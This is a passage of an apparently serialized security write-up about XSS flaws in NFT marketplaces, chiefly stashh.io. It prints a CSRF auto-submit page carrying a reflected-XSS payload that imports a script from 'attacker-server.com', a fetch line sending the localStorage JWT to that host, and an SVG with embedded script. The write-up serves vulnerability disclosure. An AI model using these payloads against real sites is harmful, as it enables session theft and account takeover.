}",{"type":23,"tag":504,"props":32121,"children":32122},{"style":523},[32123],{"type":28,"value":32124},")()\n",{"type":23,"tag":504,"props":32126,"children":32127},{"class":506,"line":1400},[32128],{"type":23,"tag":504,"props":32129,"children":32130},{"emptyLinePlaceholder":16},[32131],{"type":28,"value":1038},{"type":23,"tag":504,"props":32133,"children":32134},{"class":506,"line":1422},[32135,32139,32143],{"type":23,"tag":504,"props":32136,"children":32137},{"style":31353},[32138],{"type":28,"value":31822},{"type":23,"tag":504,"props":32140,"children":32141},{"style":511},[32142],{"type":28,"value":31393},{"type":23,"tag":504,"props":32144,"children":32145},{"style":31353},[32146],{"type":28,"value":4976},{"type":23,"tag":504,"props":32148,"children":32149},{"class":506,"line":1450},[32150,32154,32158],{"type":23,"tag":504,"props":32151,"children":32152},{"style":31353},[32153],{"type":28,"value":31407},{"type":23,"tag":504,"props":32155,"children":32156},{"style":511},[32157],{"type":28,"value":31360},{"type":23,"tag":504,"props":32159,"children":32160},{"style":31353},[32161],{"type":28,"value":4976},{"type":23,"tag":24,"props":32163,"children":32164},{},[32165],{"type":28,"value":32166},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":24,"props":32168,"children":32169},{},[32170],{"type":28,"value":32171},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":24,"props":32173,"children":32174},{},[32175],{"type":28,"value":32176},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":24,"props":32178,"children":32179},{},[32180],{"type":28,"value":32181},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":494,"props":32183,"children":32185},{"className":496,"code":32184,"language":498,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[32186],{"type":23,"tag":56,"props":32187,"children":32188},{"__ignoreMap":7},[32189,32204,32219,32250,32325,32376,32564,32603,32618,32633,32640,32655,32662,32673,32724,32731,32786,32813,32848,32855,32890,32897,32918,32929,32936,32951],{"type":23,"tag":504,"props":32190,"children":32191},{"class":506,"line":507},[32192,32196,32200],{"type":23,"tag":504,"props":32193,"children":32194},{"style":31353},[32195],{"type":28,"value":4789},{"type":23,"tag":504,"props":32197,"children":32198},{"style":511},[32199],{"type":28,"value":31360},{"type":23,"tag":504,"props":32201,"children":32202},{"style":31353},[32203],{"type":28,"value":4976},{"type":23,"tag":504,"props":32205,"children":32206},{"class":506,"line":540},[32207,32211,32215],{"type":23,"tag":504,"props":32208,"children":32209},{"style":31353},[32210],{"type":28,"value":31372},{"type":23,"tag":504,"props":32212,"children":32213},{"style":511},[32214],{"type":28,"value":31377},{"type":23,"tag":504,"props":32216,"children":32217},{"style":31353},[32218],{"type":28,"value":4976},{"type":23,"tag":504,"props":32220,"children":32221},{"class":506,"line":555},[32222,32226,32230,32234,32238,32242,32246],{"type":23,"tag":504,"props":32223,"children":32224},{"style":31353},[32225],{"type":28,"value":31372},{"type":23,"tag":504,"props":32227,"children":32228},{"style":511},[32229],{"type":28,"value":31393},{"type":23,"tag":504,"props":32231,"children":32232},{"style":31353},[32233],{"type":28,"value":9443},{"type":23,"tag":504,"props":32235,"children":32236},{"style":523},[32237],{"type":28,"value":31402},{"type":23,"tag":504,"props":32239,"children":32240},{"style":31353},[32241],{"type":28,"value":31407},{"type":23,"tag":504,"props":32243,"children":32244},{"style":511},[32245],{"type":28,"value":31393},{"type":23,"tag":504,"props":32247,"children":32248},{"style":31353},[32249],{"type":28,"value":4976},{"type":23,"tag":504,"props":32251,"children":32252},{"class":506,"line":633},[32253,32257,32261,32265,32269,32273,32277,32281,32285,32289,32293,32297,32301,32305,32309,32313,32317,32321],{"type":23,"tag":504,"props":32254,"children":32255},{"style":31353},[32256],{"type":28,"value":31423},{"type":23,"tag":504,"props":32258,"children":32259},{"style":511},[32260],{"type":28,"value":31428},{"type":23,"tag":504,"props":32262,"children":32263},{"style":529},[32264],{"type":28,"value":31433},{"type":23,"tag":504,"props":32266,"children":32267},{"style":598},[32268],{"type":28,"value":601},{"type":23,"tag":504,"props":32270,"children":32271},{"style":622},[32272],{"type":28,"value":31442},{"type":23,"tag":504,"props":32274,"children":32275},{"style":529},[32276],{"type":28,"value":31447},{"type":23,"tag":504,"props":32278,"children":32279},{"style":598},[32280],{"type":28,"value":601},{"type":23,"tag":504,"props":32282,"children":32283},{"style":622},[32284],{"type":28,"value":31456},{"type":23,"tag":504,"props":32286,"children":32287},{"style":529},[32288],{"type":28,"value":16089},{"type":23,"tag":504,"props":32290,"children":32291},{"style":598},[32292],{"type":28,"value":601},{"type":23,"tag":504,"props":32294,"children":32295},{"style":622},[32296],{"type":28,"value":31469},{"type":23,"tag":504,"props":32298,"children":32299},{"style":529},[32300],{"type":28,"value":31474},{"type":23,"tag":504,"props":32302,"children":32303},{"style":598},[32304],{"type":28,"value":601},{"type":23,"tag":504,"props":32306,"children":32307},{"style":622},[32308],{"type":28,"value":31483},{"type":23,"tag":504,"props":32310,"children":32311},{"style":529},[32312],{"type":28,"value":31488},{"type":23,"tag":504,"props":32314,"children":32315},{"style":598},[32316],{"type":28,"value":601},{"type":23,"tag":504,"props":32318,"children":32319},{"style":622},[32320],{"type":28,"value":31497},{"type":23,"tag":504,"props":32322,"children":32323},{"style":31353},[32324],{"type":28,"value":4976},{"type":23,"tag":504,"props":32326,"children":32327},{"class":506,"line":687},[32328,32332,32336,32340,32344,32348,32352,32356,32360,32364,32368,32372],{"type":23,"tag":504,"props":32329,"children":32330},{"style":31353},[32331],{"type":28,"value":31509},{"type":23,"tag":504,"props":32333,"children":32334},{"style":511},[32335],{"type":28,"value":7350},{"type":23,"tag":504,"props":32337,"children":32338},{"style":529},[32339],{"type":28,"value":31518},{"type":23,"tag":504,"props":32341,"children":32342},{"style":598},[32343],{"type":28,"value":601},{"type":23,"tag":504,"props":32345,"children":32346},{"style":622},[32347],{"type":28,"value":31527},{"type":23,"tag":504,"props":32349,"children":32350},{"style":529},[32351],{"type":28,"value":31532},{"type":23,"tag":504,"props":32353,"children":32354},{"style":598},[32355],{"type":28,"value":601},{"type":23,"tag":504,"props":32357,"children":32358},{"style":622},[32359],{"type":28,"value":31541},{"type":23,"tag":504,"props":32361,"children":32362},{"style":529},[32363],{"type":28,"value":31433},{"type":23,"tag":504,"props":32365,"children":32366},{"style":598},[32367],{"type":28,"value":601},{"type":23,"tag":504,"props":32369,"children":32370},{"style":622},[32371],{"type":28,"value":31554},{"type":23,"tag":504,"props":32373,"children":32374},{"style":31353},[32375],{"type":28,"value":4976},{"type":23,"tag":504,"props":32377,"children":32378},{"class":506,"line":736},[32379,32383,32387,32391,32395,32399,32403,32407,32411,32415,32419,32423,32428,32432,32437,32441,32446,32450,32455,32460,32464,32468,32473,32478,32483,32488,32493,32498,32502,32507,32511,32515,32520,32524,32529,32534,32539,32543,32547,32551,32556,32560],{"type":23,"tag":504,"props":32380,"children":32381},{"style":31353},[32382],{"type":28,"value":31566},{"type":23,"tag":504,"props":32384,"children":32385},{"style":511},[32386],{"type":28,"value":7350},{"type":23,"tag":504,"props":32388,"children":32389},{"style":529},[32390],{"type":28,"value":31518},{"type":23,"tag":504,"props":32392,"children":32393},{"style":598},[32394],{"type":28,"value":601},{"type":23,"tag":504,"props":32396,"children":32397},{"style":622},[32398],{"type":28,"value":31583},{"type":23,"tag":504,"props":32400,"children":32401},{"style":529},[32402],{"type":28,"value":31532},{"type":23,"tag":504,"props":32404,"children":32405},{"style":598},[32406],{"type":28,"value":601},{"type":23,"tag":504,"props":32408,"children":32409},{"style":622},[32410],{"type":28,"value":31596},{"type":23,"tag":504,"props":32412,"children":32413},{"style":529},[32414],{"type":28,"value":31488},{"type":23,"tag":504,"props":32416,"children":32417},{"style":598},[32418],{"type":28,"value":601},{"type":23,"tag":504,"props":32420,"children":32421},{"style":622},[32422],{"type":28,"value":1268},{"type":23,"tag":504,"props":32424,"children":32425},{"style":511},[32426],{"type":28,"value":32427},"{"",{"type":23,"tag":504,"props":32429,"children":32430},{"style":622},[32431],{"type":28,"value":31618},{"type":23,"tag":504,"props":32433,"children":32434},{"style":511},[32435],{"type":28,"value":32436},"":"<",{"type":23,"tag":504,"props":32438,"children":32439},{"style":622},[32440],{"type":28,"value":126},{"type":23,"tag":504,"props":32442,"children":32443},{"style":511},[32444],{"type":28,"value":32445},"/",{"type":23,"tag":504,"props":32447,"children":32448},{"style":622},[32449],{"type":28,"value":31647},{"type":23,"tag":504,"props":32451,"children":32452},{"style":511},[32453],{"type":28,"value":32454},"=",{"type":23,"tag":504,"props":32456,"children":32457},{"style":622},[32458],{"type":28,"value":32459},"x onerror",{"type":23,"tag":504,"props":32461,"children":32462},{"style":511},[32463],{"type":28,"value":32454},{"type":23,"tag":504,"props":32465,"children":32466},{"style":622},[32467],{"type":28,"value":18465},{"type":23,"tag":504,"props":32469,"children":32470},{"style":511},[32471],{"type":28,"value":32472},"(`",{"type":23,"tag":504,"props":32474,"children":32475},{"style":622},[32476],{"type":28,"value":32477},"https",{"type":23,"tag":504,"props":32479,"children":32480},{"style":511},[32481],{"type":28,"value":32482},"://",{"type":23,"tag":504,"props":32484,"children":32485},{"style":622},[32486],{"type":28,"value":32487},"attacker-server",{"type":23,"tag":504,"props":32489,"children":32490},{"style":511},[32491],{"type":28,"value":32492},".",{"type":23,"tag":504,"props":32494,"children":32495},{"style":622},[32496],{"type":28,"value":32497},"com",{"type":23,"tag":504,"props":32499,"children":32500},{"style":511},[32501],{"type":28,"value":32445},{"type":23,"tag":504,"props":32503,"children":32504},{"style":622},[32505],{"type":28,"value":32506},"leak",{"type":23,"tag":504,"props":32508,"children":32509},{"style":511},[32510],{"type":28,"value":32492},{"type":23,"tag":504,"props":32512,"children":32513},{"style":622},[32514],{"type":28,"value":498},{"type":23,"tag":504,"props":32516,"children":32517},{"style":511},[32518],{"type":28,"value":32519},"`)>","",{"type":23,"tag":504,"props":32521,"children":32522},{"style":622},[32523],{"type":28,"value":31705},{"type":23,"tag":504,"props":32525,"children":32526},{"style":511},[32527],{"type":28,"value":32528},"":"",{"type":23,"tag":504,"props":32530,"children":32531},{"style":622},[32532],{"type":28,"value":32533},"profile-assets",{"type":23,"tag":504,"props":32535,"children":32536},{"style":511},[32537],{"type":28,"value":32538},"","",{"type":23,"tag":504,"props":32540,"children":32541},{"style":622},[32542],{"type":28,"value":31734},{"type":23,"tag":504,"props":32544,"children":32545},{"style":511},[32546],{"type":28,"value":32528},{"type":23,"tag":504,"props":32548,"children":32549},{"style":622},[32550],{"type":28,"value":31743},{"type":23,"tag":504,"props":32552,"children":32553},{"style":511},[32554],{"type":28,"value":32555},""}",{"type":23,"tag":504,"props":32557,"children":32558},{"style":622},[32559],{"type":28,"value":1268},{"type":23,"tag":504,"props":32561,"children":32562},{"style":31353},[32563],{"type":28,"value":31757},{"type":23,"tag":504,"props":32565,"children":32566},{"class":506,"line":785},[32567,32571,32575,32579,32583,32587,32591,32595,32599],{"type":23,"tag":504,"props":32568,"children":32569},{"style":31353},[32570],{"type":28,"value":31566},{"type":23,"tag":504,"props":32572,"children":32573},{"style":511},[32574],{"type":28,"value":7350},{"type":23,"tag":504,"props":32576,"children":32577},{"style":529},[32578],{"type":28,"value":31518},{"type":23,"tag":504,"props":32580,"children":32581},{"style":598},[32582],{"type":28,"value":601},{"type":23,"tag":504,"props":32584,"children":32585},{"style":622},[32586],{"type":28,"value":31781},{"type":23,"tag":504,"props":32588,"children":32589},{"style":529},[32590],{"type":28,"value":31488},{"type":23,"tag":504,"props":32592,"children":32593},{"style":598},[32594],{"type":28,"value":601},{"type":23,"tag":504,"props":32596,"children":32597},{"style":622},[32598],{"type":28,"value":31794},{"type":23,"tag":504,"props":32600,"children":32601},{"style":31353},[32602],{"type":28,"value":31757},{"type":23,"tag":504,"props":32604,"children":32605},{"class":506,"line":813},[32606,32610,32614],{"type":23,"tag":504,"props":32607,"children":32608},{"style":31353},[32609],{"type":28,"value":31806},{"type":23,"tag":504,"props":32611,"children":32612},{"style":511},[32613],{"type":28,"value":31428},{"type":23,"tag":504,"props":32615,"children":32616},{"style":31353},[32617],{"type":28,"value":4976},{"type":23,"tag":504,"props":32619,"children":32620},{"class":506,"line":851},[32621,32625,32629],{"type":23,"tag":504,"props":32622,"children":32623},{"style":31353},[32624],{"type":28,"value":31822},{"type":23,"tag":504,"props":32626,"children":32627},{"style":511},[32628],{"type":28,"value":31377},{"type":23,"tag":504,"props":32630,"children":32631},{"style":31353},[32632],{"type":28,"value":4976},{"type":23,"tag":504,"props":32634,"children":32635},{"class":506,"line":869},[32636],{"type":23,"tag":504,"props":32637,"children":32638},{"emptyLinePlaceholder":16},[32639],{"type":28,"value":1038},{"type":23,"tag":504,"props":32641,"children":32642},{"class":506,"line":878},[32643,32647,32651],{"type":23,"tag":504,"props":32644,"children":32645},{"style":31353},[32646],{"type":28,"value":31372},{"type":23,"tag":504,"props":32648,"children":32649},{"style":511},[32650],{"type":28,"value":31393},{"type":23,"tag":504,"props":32652,"children":32653},{"style":31353},[32654],{"type":28,"value":4976},{"type":23,"tag":504,"props":32656,"children":32657},{"class":506,"line":1221},[32658],{"type":23,"tag":504,"props":32659,"children":32660},{"emptyLinePlaceholder":16},[32661],{"type":28,"value":1038},{"type":23,"tag":504,"props":32663,"children":32664},{"class":506,"line":1276},[32665,32669],{"type":23,"tag":504,"props":32666,"children":32667},{"style":523},[32668],{"type":28,"value":31867},{"type":23,"tag":504,"props":32670,"children":32671},{"style":511},[32672],{"type":28,"value":9862},{"type":23,"tag":504,"props":32674,"children":32675},{"class":506,"line":1285},[32676,32680,32684,32688,32692,32696,32700,32704,32708,32712,32716,32720],{"type":23,"tag":504,"props":32677,"children":32678},{"style":529},[32679],{"type":28,"value":561},{"type":23,"tag":504,"props":32681,"children":32682},{"style":529},[32683],{"type":28,"value":31883},{"type":23,"tag":504,"props":32685,"children":32686},{"style":598},[32687],{"type":28,"value":31888},{"type":23,"tag":504,"props":32689,"children":32690},{"style":544},[32691],{"type":28,"value":31893},{"type":23,"tag":504,"props":32693,"children":32694},{"style":598},[32695],{"type":28,"value":801},{"type":23,"tag":504,"props":32697,"children":32698},{"style":544},[32699],{"type":28,"value":31893},{"type":23,"tag":504,"props":32701,"children":32702},{"style":517},[32703],{"type":28,"value":31906},{"type":23,"tag":504,"props":32705,"children":32706},{"style":598},[32707],{"type":28,"value":526},{"type":23,"tag":504,"props":32709,"children":32710},{"style":622},[32711],{"type":28,"value":31915},{"type":23,"tag":504,"props":32713,"children":32714},{"style":598},[32715],{"type":28,"value":31920},{"type":23,"tag":504,"props":32717,"children":32718},{"style":517},[32719],{"type":28,"value":31925},{"type":23,"tag":504,"props":32721,"children":32722},{"style":598},[32723],{"type":28,"value":1156},{"type":23,"tag":504,"props":32725,"children":32726},{"class":506,"line":1294},[32727],{"type":23,"tag":504,"props":32728,"children":32729},{"emptyLinePlaceholder":16},[32730],{"type":28,"value":1038},{"type":23,"tag":504,"props":32732,"children":32733},{"class":506,"line":1302},[32734,32738,32742,32746,32750,32754,32758,32762,32766,32770,32774,32778,32782],{"type":23,"tag":504,"props":32735,"children":32736},{"style":529},[32737],{"type":28,"value":2041},{"type":23,"tag":504,"props":32739,"children":32740},{"style":529},[32741],{"type":28,"value":31948},{"type":23,"tag":504,"props":32743,"children":32744},{"style":598},[32745],{"type":28,"value":31888},{"type":23,"tag":504,"props":32747,"children":32748},{"style":511},[32749],{"type":28,"value":14102},{"type":23,"tag":504,"props":32751,"children":32752},{"style":517},[32753],{"type":28,"value":31961},{"type":23,"tag":504,"props":32755,"children":32756},{"style":598},[32757],{"type":28,"value":31966},{"type":23,"tag":504,"props":32759,"children":32760},{"style":529},[32761],{"type":28,"value":31925},{"type":23,"tag":504,"props":32763,"children":32764},{"style":598},[32765],{"type":28,"value":22041},{"type":23,"tag":504,"props":32767,"children":32768},{"style":622},[32769],{"type":28,"value":31979},{"type":23,"tag":504,"props":32771,"children":32772},{"style":598},[32773],{"type":28,"value":31984},{"type":23,"tag":504,"props":32775,"children":32776},{"style":529},[32777],{"type":28,"value":31989},{"type":23,"tag":504,"props":32779,"children":32780},{"style":622},[32781],{"type":28,"value":31994},{"type":23,"tag":504,"props":32783,"children":32784},{"style":598},[32785],{"type":28,"value":31999},{"type":23,"tag":504,"props":32787,"children":32788},{"class":506,"line":1311},[32789,32793,32797,32801,32805,32809],{"type":23,"tag":504,"props":32790,"children":32791},{"style":529},[32792],{"type":28,"value":561},{"type":23,"tag":504,"props":32794,"children":32795},{"style":529},[32796],{"type":28,"value":32011},{"type":23,"tag":504,"props":32798,"children":32799},{"style":598},[32800],{"type":28,"value":31888},{"type":23,"tag":504,"props":32802,"children":32803},{"style":511},[32804],{"type":28,"value":14102},{"type":23,"tag":504,"props":32806,"children":32807},{"style":517},[32808],{"type":28,"value":32024},{"type":23,"tag":504,"props":32810,"children":32811},{"style":598},[32812],{"type":28,"value":2647},{"type":23,"tag":504,"props":32814,"children":32815},{"class":506,"line":1334},[32816,32820,32824,32828,32832,32836,32840,32844],{"type":23,"tag":504,"props":32817,"children":32818},{"style":529},[32819],{"type":28,"value":32036},{"type":23,"tag":504,"props":32821,"children":32822},{"style":598},[32823],{"type":28,"value":320},{"type":23,"tag":504,"props":32825,"children":32826},{"style":529},[32827],{"type":28,"value":32045},{"type":23,"tag":504,"props":32829,"children":32830},{"style":598},[32831],{"type":28,"value":320},{"type":23,"tag":504,"props":32833,"children":32834},{"style":517},[32835],{"type":28,"value":8618},{"type":23,"tag":504,"props":32837,"children":32838},{"style":598},[32839],{"type":28,"value":526},{"type":23,"tag":504,"props":32841,"children":32842},{"style":529},[32843],{"type":28,"value":32062},{"type":23,"tag":504,"props":32845,"children":32846},{"style":598},[32847],{"type":28,"value":630},{"type":23,"tag":504,"props":32849,"children":32850},{"class":506,"line":1370},[32851],{"type":23,"tag":504,"props":32852,"children":32853},{"emptyLinePlaceholder":16},[32854],{"type":28,"value":1038},{"type":23,"tag":504,"props":32856,"children":32857},{"class":506,"line":1384},[32858,32862,32866,32870,32874,32878,32882,32886],{"type":23,"tag":504,"props":32859,"children":32860},{"style":529},[32861],{"type":28,"value":32081},{"type":23,"tag":504,"props":32863,"children":32864},{"style":598},[32865],{"type":28,"value":320},{"type":23,"tag":504,"props":32867,"children":32868},{"style":529},[32869],{"type":28,"value":32090},{"type":23,"tag":504,"props":32871,"children":32872},{"style":598},[32873],{"type":28,"value":31888},{"type":23,"tag":504,"props":32875,"children":32876},{"style":529},[32877],{"type":28,"value":32099},{"type":23,"tag":504,"props":32879,"children":32880},{"style":598},[32881],{"type":28,"value":320},{"type":23,"tag":504,"props":32883,"children":32884},{"style":529},[32885],{"type":28,"value":32090},{"type":23,"tag":504,"props":32887,"children":32888},{"style":598},[32889],{"type":28,"value":866},{"type":23,"tag":504,"props":32891,"children":32892},{"class":506,"line":1392},[32893],{"type":23,"tag":504,"props":32894,"children":32895},{"emptyLinePlaceholder":16},[32896],{"type":28,"value":1038},{"type":23,"tag":504,"props":32898,"children":32899},{"class":506,"line":1400},[32900,32905,32909,32914],{"type":23,"tag":504,"props":32901,"children":32902},{"style":529},[32903],{"type":28,"value":32904},"        form123",{"type":23,"tag":504,"props":32906,"children":32907},{"style":598},[32908],{"type":28,"value":320},{"type":23,"tag":504,"props":32910,"children":32911},{"style":517},[32912],{"type":28,"value":32913},"submit",{"type":23,"tag":504,"props":32915,"children":32916},{"style":598},[32917],{"type":28,"value":1156},{"type":23,"tag":504,"props":32919,"children":32920},{"class":506,"line":1422},[32921,32925],{"type":23,"tag":504,"props":32922,"children":32923},{"style":511},[32924],{"type":28,"value":32119},{"type":23,"tag":504,"props":32926,"children":32927},{"style":523},[32928],{"type":28,"value":32124},{"type":23,"tag":504,"props":32930,"children":32931},{"class":506,"line":1450},[32932],{"type":23,"tag":504,"props":32933,"children":32934},{"emptyLinePlaceholder":16},[32935],{"type":28,"value":1038},{"type":23,"tag":504,"props":32937,"children":32938},{"class":506,"line":1463},[32939,32943,32947],{"type":23,"tag":504,"props":32940,"children":32941},{"style":31353},[32942],{"type":28,"value":31822},{"type":23,"tag":504,"props":32944,"children":32945},{"style":511},[32946],{"type":28,"value":31393},{"type":23,"tag":504,"props":32948,"children":32949},{"style":31353},[32950],{"type":28,"value":4976},{"type":23,"tag":504,"props":32952,"children":32953},{"class":506,"line":1485},[32954,32958,32962],{"type":23,"tag":504,"props":32955,"children":32956},{"style":31353},[32957],{"type":28,"value":31407},{"type":23,"tag":504,"props":32959,"children":32960},{"style":511},[32961],{"type":28,"value":31360},{"type":23,"tag":504,"props":32963,"children":32964},{"style":31353},[32965],{"type":28,"value":4976},{"type":23,"tag":24,"props":32967,"children":32968},{},[32969],{"type":28,"value":32970},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":494,"props":32972,"children":32976},{"className":32973,"code":32974,"language":32975,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[32977],{"type":23,"tag":56,"props":32978,"children":32979},{"__ignoreMap":7},[32980,32987,33008,33029,33046],{"type":23,"tag":504,"props":32981,"children":32982},{"class":506,"line":507},[32983],{"type":23,"tag":504,"props":32984,"children":32985},{"style":523},[32986],{"type":28,"value":9862},{"type":23,"tag":504,"props":32988,"children":32989},{"class":506,"line":540},[32990,32995,32999,33004],{"type":23,"tag":504,"props":32991,"children":32992},{"style":529},[32993],{"type":28,"value":32994},"  \"address\"",{"type":23,"tag":504,"props":32996,"children":32997},{"style":523},[32998],{"type":28,"value":14311},{"type":23,"tag":504,"props":33000,"children":33001},{"style":622},[33002],{"type":28,"value":33003},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":504,"props":33005,"children":33006},{"style":523},[33007],{"type":28,"value":2484},{"type":23,"tag":504,"props":33009,"children":33010},{"class":506,"line":555},[33011,33016,33020,33025],{"type":23,"tag":504,"props":33012,"children":33013},{"style":529},[33014],{"type":28,"value":33015},"  \"to\"",{"type":23,"tag":504,"props":33017,"children":33018},{"style":523},[33019],{"type":28,"value":14311},{"type":23,"tag":504,"props":33021,"children":33022},{"style":622},[33023],{"type":28,"value":33024},"\"profile-assets\"",{"type":23,"tag":504,"props":33026,"children":33027},{"style":523},[33028],{"type":28,"value":2484},{"type":23,"tag":504,"props":33030,"children":33031},{"class":506,"line":633},[33032,33037,33041],{"type":23,"tag":504,"props":33033,"children":33034},{"style":529},[33035],{"type":28,"value":33036},"  \"type\"",{"type":23,"tag":504,"props":33038,"children":33039},{"style":523},[33040],{"type":28,"value":14311},{"type":23,"tag":504,"props":33042,"children":33043},{"style":622},[33044],{"type":28,"value":33045},"\"icon\"\n",{"type":23,"tag":504,"props":33047,"children":33048},{"class":506,"line":687},[33049],{"type":23,"tag":504,"props":33050,"children":33051},{"style":523},[33052],{"type":28,"value":884},{"type":23,"tag":24,"props":33054,"children":33055},{},[33056],{"type":28,"value":33057},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":494,"props":33059,"children":33061},{"className":496,"code":33060,"language":498,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[33062],{"type":23,"tag":56,"props":33063,"children":33064},{"__ignoreMap":7},[33065],{"type":23,"tag":504,"props":33066,"children":33067},{"class":506,"line":507},[33068,33073,33077,33082,33086,33091,33095,33100,33104,33109,33113,33117,33121],{"type":23,"tag":504,"props":33069,"children":33070},{"style":517},[33071],{"type":28,"value":33072},"fetch",{"type":23,"tag":504,"props":33074,"children":33075},{"style":523},[33076],{"type":28,"value":526},{"type":23,"tag":504,"props":33078,"children":33079},{"style":622},[33080],{"type":28,"value":33081},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":504,"props":33083,"children":33084},{"style":511},[33085],{"type":28,"value":1253},{"type":23,"tag":504,"props":33087,"children":33088},{"style":529},[33089],{"type":28,"value":33090},"localStorage",{"type":23,"tag":504,"props":33092,"children":33093},{"style":598},[33094],{"type":28,"value":320},{"type":23,"tag":504,"props":33096,"children":33097},{"style":517},[33098],{"type":28,"value":33099},"getItem",{"type":23,"tag":504,"props":33101,"children":33102},{"style":598},[33103],{"type":28,"value":526},{"type":23,"tag":504,"props":33105,"children":33106},{"style":622},[33107],{"type":28,"value":33108},"'token'",{"type":23,"tag":504,"props":33110,"children":33111},{"style":598},[33112],{"type":28,"value":2105},{"type":23,"tag":504,"props":33114,"children":33115},{"style":511},[33116],{"type":28,"value":1263},{"type":23,"tag":504,"props":33118,"children":33119},{"style":622},[33120],{"type":28,"value":9363},{"type":23,"tag":504,"props":33122,"children":33123},{"style":523},[33124],{"type":28,"value":630},{"type":23,"tag":82,"props":33126,"children":33128},{"id":33127},"svgs",[33129],{"type":28,"value":33130},"SVGs",{"type":23,"tag":24,"props":33132,"children":33133},{},[33134],{"type":28,"value":33135},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":24,"props":33137,"children":33138},{},[33139],{"type":28,"value":33140},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":494,"props":33142,"children":33144},{"className":496,"code":33143,"language":498,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[33145],{"type":23,"tag":56,"props":33146,"children":33147},{"__ignoreMap":7},[33148,33194,33231,33238,33268,33300,33328,33336,33352],{"type":23,"tag":504,"props":33149,"children":33150},{"class":506,"line":507},[33151,33156,33161,33166,33170,33175,33180,33184,33189],{"type":23,"tag":504,"props":33152,"children":33153},{"style":598},[33154],{"type":28,"value":33155},"\u003C?",{"type":23,"tag":504,"props":33157,"children":33158},{"style":529},[33159],{"type":28,"value":33160},"xml",{"type":23,"tag":504,"props":33162,"children":33163},{"style":529},[33164],{"type":28,"value":33165}," version",{"type":23,"tag":504,"props":33167,"children":33168},{"style":598},[33169],{"type":28,"value":601},{"type":23,"tag":504,"props":33171,"children":33172},{"style":622},[33173],{"type":28,"value":33174},"\"1.0\"",{"type":23,"tag":504,"props":33176,"children":33177},{"style":529},[33178],{"type":28,"value":33179}," encoding",{"type":23,"tag":504,"props":33181,"children":33182},{"style":598},[33183],{"type":28,"value":601},{"type":23,"tag":504,"props":33185,"children":33186},{"style":622},[33187],{"type":28,"value":33188},"\"UTF-8\"",{"type":23,"tag":504,"props":33190,"children":33191},{"style":598},[33192],{"type":28,"value":33193},"?>\n",{"type":23,"tag":504,"props":33195,"children":33196},{"class":506,"line":540},[33197,33202,33207,33212,33217,33222,33227],{"type":23,"tag":504,"props":33198,"children":33199},{"style":598},[33200],{"type":28,"value":33201},"\u003C!",{"type":23,"tag":504,"props":33203,"children":33204},{"style":529},[33205],{"type":28,"value":33206},"DOCTYPE",{"type":23,"tag":504,"props":33208,"children":33209},{"style":529},[33210],{"type":28,"value":33211}," svg",{"type":23,"tag":504,"props":33213,"children":33214},{"style":529},[33215],{"type":28,"value":33216}," PUBLIC",{"type":23,"tag":504,"props":33218,"children":33219},{"style":622},[33220],{"type":28,"value":33221}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":504,"props":33223,"children":33224},{"style":622},[33225],{"type":28,"value":33226}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":504,"props":33228,"children":33229},{"style":598},[33230],{"type":28,"value":4976},{"type":23,"tag":504,"props":33232,"children":33233},{"class":506,"line":555},[33234],{"type":23,"tag":504,"props":33235,"children":33236},{"emptyLinePlaceholder":16},[33237],{"type":28,"value":1038},{"type":23,"tag":504,"props":33239,"children":33240},{"class":506,"line":633},[33241,33245,33250,33255,33259,33264],{"type":23,"tag":504,"props":33242,"children":33243},{"style":31353},[33244],{"type":28,"value":7702},{"type":23,"tag":504,"props":33246,"children":33247},{"style":511},[33248],{"type":28,"value":33249},"svg",{"type":23,"tag":504,"props":33251,"children":33252},{"style":529},[33253],{"type":28,"value":33254}," 